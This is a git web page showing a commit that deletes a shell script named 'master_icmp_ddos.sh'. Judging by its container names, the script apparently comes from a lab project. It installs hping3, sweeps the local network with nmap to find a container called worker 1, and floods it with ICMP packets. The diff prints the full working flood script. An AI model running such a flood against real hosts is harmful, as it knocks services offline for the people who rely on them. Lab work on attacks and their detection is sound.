Browse Source

Delete 'master_icmp_ddos.sh'

master
petroskaridis 4 years ago
parent
commit
f3c5fe5979
  1. 15
      master_icmp_ddos.sh

15
master_icmp_ddos.sh

@ -1,15 +0,0 @@
sudo apt update
sudo apt upgrade -y
sudo apt install hping3 -y
netip=$(ifconfig|grep inet|sed -n 1p|awk "{print \$2}"|cut -f 1-3 -d "."|sed 's/$/.*/')
clear
echo "Target network: " $netip
#Find worker1 victim IP
worker1=$(nmap -sP $netip|grep my_project_worker_1.my_project_net|awk '{print $NF}'|tr -d '()')
#Ddos attack to worker1 with syn flood at port 80 and icmp protocol
echo "Initiate attack towards worker 1 with IP: "$worker1
sudo hping3 -p 80 --flood --icmp $worker1
Loading…
Cancel
Save